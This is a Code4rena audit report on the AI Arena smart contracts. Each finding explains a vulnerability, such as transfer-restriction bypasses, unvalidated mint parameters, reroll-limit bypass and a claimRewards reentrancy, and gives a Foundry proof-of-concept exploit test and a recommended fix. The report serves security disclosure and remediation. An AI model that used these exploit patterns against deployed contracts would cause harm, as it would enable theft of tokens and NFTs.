AI Arena - klau5's results

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L355-L359 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L539

Vulnerability details

Impact

Fighter NFTs can bypass untransferable conditions and be transfered. This allows attacker to recover unrecoverable loss and steal the protocol's tokens.

Proof of Concept

In FighterFarm, transferFrom and safeTransferFrom are overridden to prevent users to own up to MAX_FIGHTERS_ALLOWED or moving NFTs which is staked.

function transferFrom(
    address from, 
    address to, 
    uint256 tokenId
) 
    public 
    override(ERC721, IERC721)
{
@>  require(_ableToTransfer(tokenId, to));
    _transfer(from, to, tokenId);
}

function safeTransferFrom(
    address from, 
    address to, 
    uint256 tokenId
) 
    public 
    override(ERC721, IERC721)
{
@>  require(_ableToTransfer(tokenId, to));
    _safeTransfer(from, to, tokenId, "");
}

function _ableToTransfer(uint256 tokenId, address to) private view returns(bool) {
    return (
      _isApprovedOrOwner(msg.sender, tokenId) &&
@>    balanceOf(to) < MAX_FIGHTERS_ALLOWED &&
@>    !fighterStaked[tokenId]
    );
}

However, ERC721 has two safeTransferFrom functions. One function has a data parameter, and the other does not. FighterFarm only overrides the function without the data parameter, so if you call safeTransferFrom with the data parameter, you can bypass _ableToTransfer.

/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev Throws unless `msg.sender` is the current owner, an authorized
///  operator, or the approved address for this NFT. Throws if `_from` is
///  not the current owner. Throws if `_to` is the zero address. Throws if
///  `_tokenId` is not a valid NFT. When transfer is complete, this function
///  checks if `_to` is a smart contract (code size > 0). If so, it calls
///  `onERC721Received` on `_to` and throws if the return value is not
///  `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
/// @param data Additional data with no specified format, sent in call to `_to`
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes data) external payable;

/// @notice Transfers the ownership of an NFT from one address to another address
/// @dev This works identically to the other function with an extra data parameter,
///  except this function just sets data to "".
/// @param _from The current owner of the NFT
/// @param _to The new owner
/// @param _tokenId The NFT to transfer
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;

The most serious impact is that tokens with stakeAtRisk can be transfered, which can disrupt staking-related features.

Suppose the attacker got loss of 100 NRN in a previous round. amountLost[fighterOwner] is 100. This is a loss from the previous round and can no longer be recovered.

At this time, the attacker buy an NFT with stakeAtRisk. stakeAtRisk is generated when you play the game this round and only occurs when you stake tokens and play the game. You can trade NFTs with staking and stakeAtRisk using safeTransferFrom(address,address,uint256,bytes). (Even if stakeAtRisk is forced to be 0 when calling updateFighterStaking at unstaking, you can move the NFT in staking state by safeTransferFrom, so it has a different root cause)

With this NFT, attacker can recover previous rounds's loss, which means stealing the token of the protocol.

• Alice owns NFT1 and had 100 stakeAtRisk with NFT1 at past round.
  • Since the round has already passed, this loss of 100 NRN is a past loss that can no longer be recovered.
  • Since amountLost[fighterOwner] is a total amount regardless of rounds, it remains 100 even after the round.
  • stakeAtRisk of NFT1: 0 (current round)
  • amountLost: 100 (this should be unrecoverable)
• Alice buys NFT2 from the secondary market, which has 100 stakeAtRisk (and NFT2 can be transfered even if it has staked NRN, by safeTransferFrom(address,address,uint256,bytes))
  • stakeAtRisk of NFT1: 0
  • stakeAtRisk of NFT2: 100
  • amountLost: 100
• Alice wins with NFT2 and reclaims 100.
  • stakeAtRisk of NFT1: 0
  • stakeAtRisk of NFT2: 0
  • amountLost: 0
• Alice recovers the past loss through NFT2. Alice recovered past loss, which shouldn't be recovered, which means she steals the protocol's token.

This is PoC. Add to the StakeAtRisk.t.sol file and test.

function testPoCSafeTransferFromNotOverridden() public {
    address seller = vm.addr(3);
    address buyer = vm.addr(4);
    
    uint256 stakeAmount = 3_000 * 10 ** 18;
    uint256 expectedStakeAtRiskAmount = (stakeAmount * 100) / 100000;

    _mintFromMergingPool(buyer);
    uint256 tokenId_buyer = 0;
    assertEq(_fighterFarmContract.ownerOf(tokenId_buyer), buyer);

    _fundUserWith4kNeuronByTreasury(buyer);
    vm.prank(buyer);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId_buyer);
    assertEq(_rankedBattleContract.amountStaked(tokenId_buyer), stakeAmount);

    // buyer loses with tokenId_buyer
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId_buyer, 50, 2, 1500, true);

    assertEq(_stakeAtRiskContract.stakeAtRisk(0, tokenId_buyer), expectedStakeAtRiskAmount);

    // round 0 passed
    // tokenId_buyer's round 0 StakeAtRisk is reset
    vm.prank(address(_rankedBattleContract));
    _stakeAtRiskContract.setNewRound(1);
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId_buyer), 0);

    // seller mint token, lose battle and sell the NFT
    _mintFromMergingPool(seller);
    uint256 tokenId = 1;
    assertEq(_fighterFarmContract.ownerOf(tokenId), seller);
    _fundUserWith4kNeuronByTreasury(seller);
    vm.prank(seller);
    _rankedBattleContract.stakeNRN(stakeAmount, tokenId);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount);

    // loses battle, get stakeAtRisk
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 2, 1500, true);
    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), expectedStakeAtRiskAmount);

    // seller sell token to buyer (with staking tokens)
    vm.startPrank(seller);
    assertEq(_rankedBattleContract.amountStaked(tokenId), stakeAmount - expectedStakeAtRiskAmount); // staked NFT
    assertEq(_rankedBattleContract.hasUnstaked(tokenId, 1), false); // staked NFT
    _fighterFarmContract.safeTransferFrom(seller, buyer, tokenId, ""); // but seller can transfer with safeTransferFrom(address,address,uint256,bytes)
    vm.stopPrank();

    // buyer can recover old lost with new NFT!
    assertEq(_stakeAtRiskContract.amountLost(buyer), expectedStakeAtRiskAmount);

    // buyer win with bought NFT (tokenId 0)
    vm.prank(address(_GAME_SERVER_ADDRESS));
    _rankedBattleContract.updateBattleRecord(tokenId, 50, 0, 1500, false);

    assertEq(_stakeAtRiskContract.stakeAtRisk(1, tokenId), 0); // Reclaimed all stakeAtRisk of bought NFT(token 1)
    assertEq(_stakeAtRiskContract.amountLost(buyer), 0, "reclaimed old lost");
}

Tools Used

Manual Review

Recommended Mitigation Steps

Override safeTransferFrom(address,address,uint256,bytes) too.

More appropriate way is to use _beforeTokenTransfer hook instead of overriding safeTransferFrom and transferFrom.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC721/ERC721.sol#L432

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/GameItems.sol#L291

Vulnerability details

Impact

Can still transfer items that are untransferable.

Proof of Concept

There are items that cannot be transferred. GameItems overrides the safeTransferFrom function to check for transferable settings.

function safeTransferFrom(
    address from, 
    address to, 
    uint256 tokenId,
    uint256 amount,
    bytes memory data
) 
    public 
    override(ERC1155)
{
@>  require(allGameItemAttributes[tokenId].transferable);
    super.safeTransferFrom(from, to, tokenId, amount, data);
}

Openzeppelin's ERC1155 has a safeBatchTransferFrom function. This is a function that transfers multiple ERC1155 tokens at once. However, GameItems does not override the safeBatchTransferFrom function.

function safeBatchTransferFrom(
    address from,
    address to,
    uint256[] memory ids,
    uint256[] memory amounts,
    bytes memory data
) public virtual override {
    require(
        from == _msgSender() || isApprovedForAll(from, _msgSender()),
        "ERC1155: caller is not token owner nor approved"
    );
    _safeBatchTransferFrom(from, to, ids, amounts, data);
}

Therefore, even if the token is untransferable, transfer is possible using safeBatchTransferFrom.

This is PoC. You can add it to the GameItems.t.sol file and test it.

function testPoCSafeBatchTransferFrom() public {
    _fundUserWith4kNeuronByTreasury(_ownerAddress);
    _gameItemsContract.mint(0, 2); //paying 2 $NRN for 2 batteries
    _gameItemsContract.adjustTransferability(0, false);
    (,, bool transferable,,,) = _gameItemsContract.allGameItemAttributes(0);
    assertEq(transferable, false);

    // safeTransferFrom should fail
    vm.expectRevert();
    _gameItemsContract.safeTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, 0, 1, "");

    // SafeBatchTransferFrom should fail too but it does not fail
    uint256[] memory ids = new uint256[](1);
    ids[0] = 0;
    uint256[] memory amounts = new uint256[](1);
    amounts[0] = 1;

    _gameItemsContract.safeBatchTransferFrom(_ownerAddress, _DELEGATED_ADDRESS, ids, amounts, "");

    assertEq(_gameItemsContract.balanceOf(_DELEGATED_ADDRESS, 0), 1);
    assertEq(_gameItemsContract.balanceOf(_ownerAddress, 0), 1);
}

Tools Used

Manual Review

Recommended Mitigation Steps

Override safeBatchTransferFrom and check if all tokenIds are transferable.

function safeBatchTransferFrom(
    address from,
    address to,
    uint256[] memory ids,
    uint256[] memory amounts,
    bytes memory data
) public override(ERC1155) {
    for(uint256 i = 0; i < ids.length; i ++){
        require(allGameItemAttributes[ids[i]].transferable, "not transferable");
    }
    super._safeBatchTransferFrom(from, to, ids, amounts, data);
}

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L233

Vulnerability details

Impact

A manipulated NFT can be created. Users can create an NFT with the attributes they want.

Proof of Concept

When calling redeemMintPass, the fighterTypes, iconsTypes, and mintPassDnas parameters are passed from the user. There is no verification code for these parameters. Therefore, the user can set them as they want. However, these attributes should not be freely set by the user.

function redeemMintPass(
    uint256[] calldata mintpassIdsToBurn,
@>  uint8[] calldata fighterTypes,
@>  uint8[] calldata iconsTypes,
@>  string[] calldata mintPassDnas,
    string[] calldata modelHashes,
    string[] calldata modelTypes
) 
    external 
{
    require(
        mintpassIdsToBurn.length == mintPassDnas.length && 
        mintPassDnas.length == fighterTypes.length && 
        fighterTypes.length == modelHashes.length &&
        modelHashes.length == modelTypes.length
    );
    for (uint16 i = 0; i < mintpassIdsToBurn.length; i++) {
        require(msg.sender == _mintpassInstance.ownerOf(mintpassIdsToBurn[i]));
        _mintpassInstance.burn(mintpassIdsToBurn[i]);
        _createNewFighter(
            msg.sender, 
@>          uint256(keccak256(abi.encode(mintPassDnas[i]))), 
            modelHashes[i], 
            modelTypes[i],
@>          fighterTypes[i],
@>          iconsTypes[i],
            [uint256(100), uint256(100)]
        );
    }
}

In particular, if you manipulate mintPassDnas, you can create a Fighter NFT with the desired performance. If you manipulate fighterTypes, you can mint a special type of Fighter, the Dendroid. You can mint rare NFTs and sell it expensive in the secondary market.

This is PoC. Add it to FighterFarm.t.sol and run it. It shows that you can find the DNA that creates a robot with the weight you wants and can mint it.

function testPoCRedeemMintPassManipulateParam() public {
    uint8[2] memory numToMint = [1, 0];
    bytes memory signature = abi.encodePacked(
        hex"20d5c3e5c6b1457ee95bb5ba0cbf35d70789bad27d94902c67ec738d18f665d84e316edf9b23c154054c7824bba508230449ee98970d7c8b25cc07f3918369481c"
    );
    string[] memory _tokenURIs = new string[](1);
    _tokenURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";

    // first i have to mint an nft from the mintpass contract
    assertEq(_mintPassContract.mintingPaused(), false);
    _mintPassContract.claimMintPass(numToMint, signature, _tokenURIs);
    assertEq(_mintPassContract.balanceOf(_ownerAddress), 1);
    assertEq(_mintPassContract.ownerOf(1), _ownerAddress);

    // once owning one i can then redeem it for a fighter
    uint256[] memory _mintpassIdsToBurn = new uint256[](1);
    string[] memory _mintPassDNAs = new string[](1);
    uint8[] memory _fighterTypes = new uint8[](1);
    uint8[] memory _iconsTypes = new uint8[](1);
    string[] memory _neuralNetHashes = new string[](1);
    string[] memory _modelTypes = new string[](1);

    _mintpassIdsToBurn[0] = 1;
    _mintPassDNAs[0] = "dna";
    _fighterTypes[0] = 0;
    _neuralNetHashes[0] = "neuralnethash";
    _modelTypes[0] = "original";
    _iconsTypes[0] = 1;

    // approve the fighterfarm contract to burn the mintpass
    _mintPassContract.approve(address(_fighterFarmContract), 1);

    // find DNA
    string memory foundDNA;
    string memory searchDNA = "A";
    uint256 calculatedWeight;
    while(true){
        foundDNA = string.concat(foundDNA, searchDNA); // test with AAAAA...AAA
        uint256 dna = uint256(keccak256(abi.encode(foundDNA)));
        calculatedWeight = dna % 31 + 65;

        // user wants this specific weight.
        if(calculatedWeight > 80){
            break;
        }
    }

    _mintPassDNAs[0] = foundDNA;

    _fighterFarmContract.redeemMintPass(
        _mintpassIdsToBurn, _fighterTypes, _iconsTypes, _mintPassDNAs, _neuralNetHashes, _modelTypes
    );

    // check balance to see if we successfully redeemed the mintpass for a fighter
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
    
    // check weight
    (,,uint256 weight,,,,) = _fighterFarmContract.getAllFighterInfo(0);
    assertGt(weight, 80);
    assertEq(weight, calculatedWeight);
}

Tools Used

Manual Review

Recommended Mitigation Steps

In the redeemMintPass function, receive an admin signature as a parameter and verify that the user parameter is correct.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L372

Vulnerability details

Impact

Can reroll attributes based on a different fighterType, and can bypass maxRerollsAllowed.

Proof of Concept

maxRerollsAllowed can be set differently depending on the fighterType. Precisely, it increases as the generation of fighterType increases.

function incrementGeneration(uint8 fighterType) external returns (uint8) {
    require(msg.sender == _ownerAddress);
@>  generation[fighterType] += 1;
@>  maxRerollsAllowed[fighterType] += 1;
    return generation[fighterType];
}

The reRoll function does not verify if the fighterType given as a parameter is actually the fighterType of the given tokenId. Therefore, it can use either 0 or 1 regardless of the actual type of the NFT.

This allows bypassing maxRerollsAllowed for additional reRoll, and to call _createFighterBase and createPhysicalAttributes based on a different fighterType than the actual NFT's fighterType, resulting in attributes calculated based on different criteria.

function reRoll(uint8 tokenId, uint8 fighterType) public {
    require(msg.sender == ownerOf(tokenId));
@>  require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
@>      (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
@>          generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}

This is PoC.

1. First, there is a bug that there is no way to set numElements, so add a numElements setter to FighterFarm. This bug has been submitted as a separate report.

   function numElementsSetterForPoC(uint8 _generation, uint8 _newElementNum) public {
       require(msg.sender == _ownerAddress);
       require(_newElementNum > 0);
       numElements[_generation] = _newElementNum;
   }

2. Add a test to the FighterFarm.t.sol file and run it. The generation of Dendroid has increased, and maxRerollsAllowed has increased. The user who owns the Champion NFT bypassed maxRerollsAllowed by putting the fighterType of Dendroid as a parameter in the reRoll function.

   function testPoCRerollBypassMaxRerollsAllowed() public {
       _mintFromMergingPool(_ownerAddress);
       // get 4k neuron from treasury
       _fundUserWith4kNeuronByTreasury(_ownerAddress);
       // after successfully minting a fighter, update the model
       if (_fighterFarmContract.ownerOf(0) == _ownerAddress) {
           uint8 maxRerolls = _fighterFarmContract.maxRerollsAllowed(0);
           uint8 exceededLimit = maxRerolls + 1;
           uint8 tokenId = 0;
           uint8 fighterType = 0;
   
           // The Dendroid's generation changed, and maxRerollsAllowed for Dendroid is increased
           uint8 fighterType_Dendroid = 1;
   
           _fighterFarmContract.incrementGeneration(fighterType_Dendroid);
   
           assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType_Dendroid), maxRerolls + 1);
           assertEq(_fighterFarmContract.maxRerollsAllowed(fighterType), maxRerolls); // Champions maxRerollsAllowed is not changed
   
           _neuronContract.addSpender(address(_fighterFarmContract));
   
           _fighterFarmContract.numElementsSetterForPoC(1, 3); // this is added function for poc
   
           for (uint8 i = 0; i < exceededLimit; i++) {
               if (i == (maxRerolls)) {
                   // reRoll with different fighterType
                   assertEq(_fighterFarmContract.numRerolls(tokenId), maxRerolls);
                   _fighterFarmContract.reRoll(tokenId, fighterType_Dendroid);
                   assertEq(_fighterFarmContract.numRerolls(tokenId), exceededLimit);
               } else {
                   _fighterFarmContract.reRoll(tokenId, fighterType);
               }
           }
       }
   }

Tools Used

Manual Review

Recommended Mitigation Steps

Check fighterType at reRoll function.

function reRoll(uint8 tokenId, uint8 fighterType) public {
    require(msg.sender == ownerOf(tokenId));
    require(numRerolls[tokenId] < maxRerollsAllowed[fighterType]);
    require(_neuronInstance.balanceOf(msg.sender) >= rerollCost, "Not enough NRN for reroll");
+   require((fighterType == 1 && fighters[tokenId].dendroidBool) || (fighterType == 0 && !fighters[tokenId].dendroidBool), "Wrong fighterType");

    _neuronInstance.approveSpender(msg.sender, rerollCost);
    bool success = _neuronInstance.transferFrom(msg.sender, treasuryAddress, rerollCost);
    if (success) {
        numRerolls[tokenId] += 1;
        uint256 dna = uint256(keccak256(abi.encode(msg.sender, tokenId, numRerolls[tokenId])));
        (uint256 element, uint256 weight, uint256 newDna) = _createFighterBase(dna, fighterType);
        fighters[tokenId].element = element;
        fighters[tokenId].weight = weight;
        fighters[tokenId].physicalAttributes = _aiArenaHelperInstance.createPhysicalAttributes(
            newDna,
            generation[fighterType],
            fighters[tokenId].iconsType,
            fighters[tokenId].dendroidBool
        );
        _tokenURIs[tokenId] = "";
    }
}

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L370

Vulnerability details

Impact

NFTs with a tokenId greater than 255 cannot reroll.

Proof of Concept

The tokenId parameter type for the reRoll function is uint8. However, the entire system uses uint256 for tokenId. Therefore, NFTs with a tokenId greater than 255 cannot reroll.

@> function reRoll(uint8 tokenId, uint8 fighterType) public {
    ...
   }

This is PoC. Add it to FighterFarm.t.sol and run it.

function testPoCCannotRerollMoreThan255() public {
    // token 0 mintted to _ownerAddress
    _mintFromMergingPool(_ownerAddress);
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 1);
    uint256 tokenIdFirst = _fighterFarmContract.tokenOfOwnerByIndex(_ownerAddress, 0);

    for(uint160 i = 1; i < 256; i++){
        // token 1 ~ 255 minted to address(1) ~ address(255)
        _mintFromMergingPool(address(i));
    }

    // token 256 mintted to _ownerAddress
    _mintFromMergingPool(_ownerAddress);
    assertEq(_fighterFarmContract.balanceOf(_ownerAddress), 2);
    uint256 tokenIdSecond = _fighterFarmContract.tokenOfOwnerByIndex(_ownerAddress, 1);
    assertEq(tokenIdSecond, 256);

    // get 4k neuron from treasury
    _fundUserWith4kNeuronByTreasury(_ownerAddress);
    _neuronContract.addSpender(address(_fighterFarmContract));

    uint8 fighterType = 0;
    
    _fighterFarmContract.reRoll(uint8(tokenIdSecond), fighterType); // cannot use uint256 tokenId parameter, so cast id to uint8
    assertEq(_fighterFarmContract.numRerolls(tokenIdSecond), 0); // tokenId 256 not rerolled
    assertEq(_fighterFarmContract.numRerolls(tokenIdFirst), 1); // tokenId 0 is rerolled (by type casting)
}

Tools Used

Manual Review

Recommended Mitigation Steps

Use uint256 for tokenId parameter

-  function reRoll(uint8 tokenId, uint8 fighterType) public {
+  function reRoll(uint256 tokenId, uint8 fighterType) public {
    ...
   }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L129-L134 https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/FighterFarm.sol#L470

Vulnerability details

Impact

Can no longer mint or reroll the NFT of that fighterType.

Proof of Concept

When creating a new NFT or rerolling, it calculates the element using the numElements value.

function _createFighterBase(
    uint256 dna, 
    uint8 fighterType
) 
    private 
    view 
    returns (uint256, uint256, uint256) 
{
@>  uint256 element = dna % numElements[generation[fighterType]];
    uint256 weight = dna % 31 + 65;
    uint256 newDna = fighterType == 0 ? dna : uint256(fighterType);
    return (element, weight, newDna);
}

numElements is different for each generation. Therefore, when the generation changes, a new numElements value should be set. However, there is no function to set numElements in the FighterFarm contract.

The function to set generation also does not set a new numElements.

function incrementGeneration(uint8 fighterType) external returns (uint8) {
    require(msg.sender == _ownerAddress);
    generation[fighterType] += 1;
    maxRerollsAllowed[fighterType] += 1;
    return generation[fighterType];
}

The default value of numElements[generation[fighterType]] is 0. If you try dna % 0, the transaction is reverted due to a division or modulo by zero error. Therefore, if you increase the generation, you can no longer mint NFT of that fighterType or reroll.

This is PoC. Add it to the FighterFarm.t.sol file and run it.

function testPoCNumElementsNotSet() public {
    _mintFromMergingPool(_ownerAddress);
    // get 4k neuron from treasury
    _fundUserWith4kNeuronByTreasury(_ownerAddress);
    _neuronContract.addSpender(address(_fighterFarmContract));

    if (_fighterFarmContract.ownerOf(0) == _ownerAddress) {
        uint8 tokenId = 0;
        uint8 fighterType = 0;
        // after successfully minting a fighter, update the generation
        _fighterFarmContract.incrementGeneration(fighterType);
        
        // cannot mint or reroll fighterType 0 anymore because of numElements, and there is no setter of numElements
        vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x12)); // division or modulo by zero
        vm.prank(address(_mergingPoolContract));
        _fighterFarmContract.mintFromMergingPool(_ownerAddress, "_neuralNetHash", "original", [uint256(100), uint256(80)]); // try to mint fighterType 0

        vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x12)); // division or modulo by zero
        _fighterFarmContract.reRoll(tokenId, fighterType);
    }
}

Tools Used

Manual Review

Recommended Mitigation Steps

Add setter or set numElements at incrementGeneration

- function incrementGeneration(uint8 fighterType) external returns (uint8) {
+ function incrementGeneration(uint8 fighterType, uint256 newNumElements) external returns (uint8) {
     require(msg.sender == _ownerAddress);
+    require(newNumElements > 0);
     generation[fighterType] += 1;
     maxRerollsAllowed[fighterType] += 1;
+    numElements[generation[fighterType]] = newNumElements;
     return generation[fighterType];
}

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/MergingPool.sol#L148-L150

Vulnerability details

Impact

Attacker can get more reward NFT.

Proof of Concept

In FighterFarm.mintFromMergingPool, it calls _safeMint to mint ERC721, so the onERC721Received hook of the NFT recipient is called. So attacker can reenter the claimRewards function.

The claimRewards function uses the cached lowerBound while looping. Therefore, when you come back after calling claimRewards through re-entry, lowerBound is still the same as the old value of numRoundsClaimed. Therefore, it continues to loop based on the old numRoundsClaimed value.

function claimRewards(
    string[] calldata modelURIs, 
    string[] calldata modelTypes,
    uint256[2][] calldata customAttributes
) 
    external 
{
    uint256 winnersLength;
    uint32 claimIndex = 0;
@>  uint32 lowerBound = numRoundsClaimed[msg.sender];
    for (uint32 currentRound = lowerBound; currentRound < roundId; currentRound++) {
@>      numRoundsClaimed[msg.sender] += 1;
        winnersLength = winnerAddresses[currentRound].length;
        for (uint32 j = 0; j < winnersLength; j++) {
            if (msg.sender == winnerAddresses[currentRound][j]) {
@>              _fighterFarmInstance.mintFromMergingPool(
                    msg.sender,
                    modelURIs[claimIndex],
                    modelTypes[claimIndex],
                    customAttributes[claimIndex]
                );
                claimIndex += 1;
            }
        }
    }
    if (claimIndex > 0) {
        emit Claimed(msg.sender, claimIndex);
    }
}

This is a PoC. It shows that you can receive rewards multiple times through reentrancy attack.

First, add the PoCClaimRewardsReentrancy contract at the bottom of MergingPool.t.sol. This contract can be considered as a customisable Contract wallet of the attacker.

contract PoCClaimRewardsReentrancy {
    uint256 counter;
    MergingPool mergingPool;
    bool startAttack;

    constructor(MergingPool _mergingPool) {
        mergingPool = _mergingPool;
    }

    function attack() public {
        startAttack = true;

        // claim 0, 1 round
        string[] memory _modelURIs = new string[](2);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        _modelURIs[1] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](2);
        _modelTypes[0] = "original";
        _modelTypes[1] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](2);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        _customAttributes[1][0] = uint256(1);
        _customAttributes[1][1] = uint256(80);

        mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        startAttack = false;
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) public returns (bytes4){
        if(!startAttack){
            return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)"))); // no reenter
        }

        if(counter > 0){
            return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)"))); // Reenter only once. (for PoC)
        }

        counter ++;

        // claim for round1 by reenterancy attack
        string[] memory _modelURIs = new string[](1);
        _modelURIs[0] = "ipfs://bafybeiaatcgqvzvz3wrjiqmz2ivcu2c5sqxgipv5w2hzy4pdlw7hfox42m";
        string[] memory _modelTypes = new string[](1);
        _modelTypes[0] = "original";
        uint256[2][] memory _customAttributes = new uint256[2][](1);
        _customAttributes[0][0] = uint256(1);
        _customAttributes[0][1] = uint256(80);
        mergingPool.claimRewards(_modelURIs, _modelTypes, _customAttributes);

        return bytes4(keccak256(bytes("onERC721Received(address,address,uint256,bytes)")));
    }
}

And add this test case to MergingPool.t.sol and run it. The attacker, who can claim 2 NFTs, received 3 NFTs by reentrancy attack.

function testPoCClaimRewardsReentrancy() public {
    address attacker_contract_wallet = address(new PoCClaimRewardsReentrancy(_mergingPoolContract));
    address attacker_EOA = address(0x1337);

    _mintFromMergingPool(_ownerAddress);
    _mintFromMergingPool(attacker_contract_wallet);
    assertEq(_fighterFarmContract.ownerOf(0), _ownerAddress);
    assertEq(_fighterFarmContract.ownerOf(1), attacker_contract_wallet);
    uint256[] memory _winners = new uint256[](2);
    _winners[0] = 0;
    _winners[1] = 1;
    // winners of roundId 0 are picked
    _mergingPoolContract.pickWinner(_winners);
    assertEq(_mergingPoolContract.isSelectionComplete(0), true);
    assertEq(_mergingPoolContract.winnerAddresses(0, 0) == _ownerAddress, true);
    // winner matches ownerOf tokenId
    assertEq(_mergingPoolContract.winnerAddresses(0, 1) == attacker_contract_wallet, true);

    // winners of roundId 1 are picked
    _mergingPoolContract.pickWinner(_winners);
    assertEq(_mergingPoolContract.isSelectionComplete(1), true);
    assertEq(_mergingPoolContract.winnerAddresses(1, 0) == _ownerAddress, true);
    // winner matches ownerOf tokenId
    assertEq(_mergingPoolContract.winnerAddresses(1, 1) == attacker_contract_wallet, true);

    assertEq(_fighterFarmContract.balanceOf(attacker_contract_wallet), 1);

    // attacker should claim 2 NFT, but attacker can get 3 NFT by reentrancy attack
    vm.prank(attacker_EOA);
    PoCClaimRewardsReentrancy(attacker_contract_wallet).attack();

    uint256 numRewards = _mergingPoolContract.getUnclaimedRewards(attacker_contract_wallet);

    assertEq(_fighterFarmContract.balanceOf(attacker_contract_wallet), 4);
}

Tools Used

Manual Review

Recommended Mitigation Steps

You can prevent reentrancy attack by using ReentrancyGuard.

Assessed type

Reentrancy

Judge has assessed an item in Issue #1023 as 2 risk. The relevant finding follows:

AccessControl is being used incorrectly Links to affected code https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L95

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L103

https://github.com/code-423n4/2024-02-ai-arena/blob/1d18d1298729e443e14fea08149c77182a65da32/src/Neuron.sol#L111

Impact Using _setupRole for the purpose of grantRole is deprecated and _setupRole should only be used at initialization. Because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address.

Proof of Concept When using AccessControl, you have to set the DEFAULT_ADMIN_ROLE or each role’s admin and use the grantRole function to set roles. Using _setupRole for the purpose of grantRole is deprecated and _setupRole should only be used at initialization.

https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/access/AccessControl.sol#L194-L203

/** * @dev Grants role to account. * * If account had not been already granted role, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * May emit a {RoleGranted} event. * @> * [WARNING] * ==== @> * This function should only be called from the constructor when setting * up the initial roles for the system. * @> * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * @> * NOTE: This function is deprecated in favor of {_grantRole}. */ In addition, because there is no DEFAULT_ADMIN_ROLE, there is no way to delete the role of the previously registered address when it is changed to a new Minter/Staker/Spender in the future.

Tools Used Manual Review

Recommended Mitigation Steps Set the DEFAULT_ADMIN_ROLE in the constructor. Don’t use _setupRole in the addMinter, addStaker, addSpender functions, use grantRole instead.

Lines of code

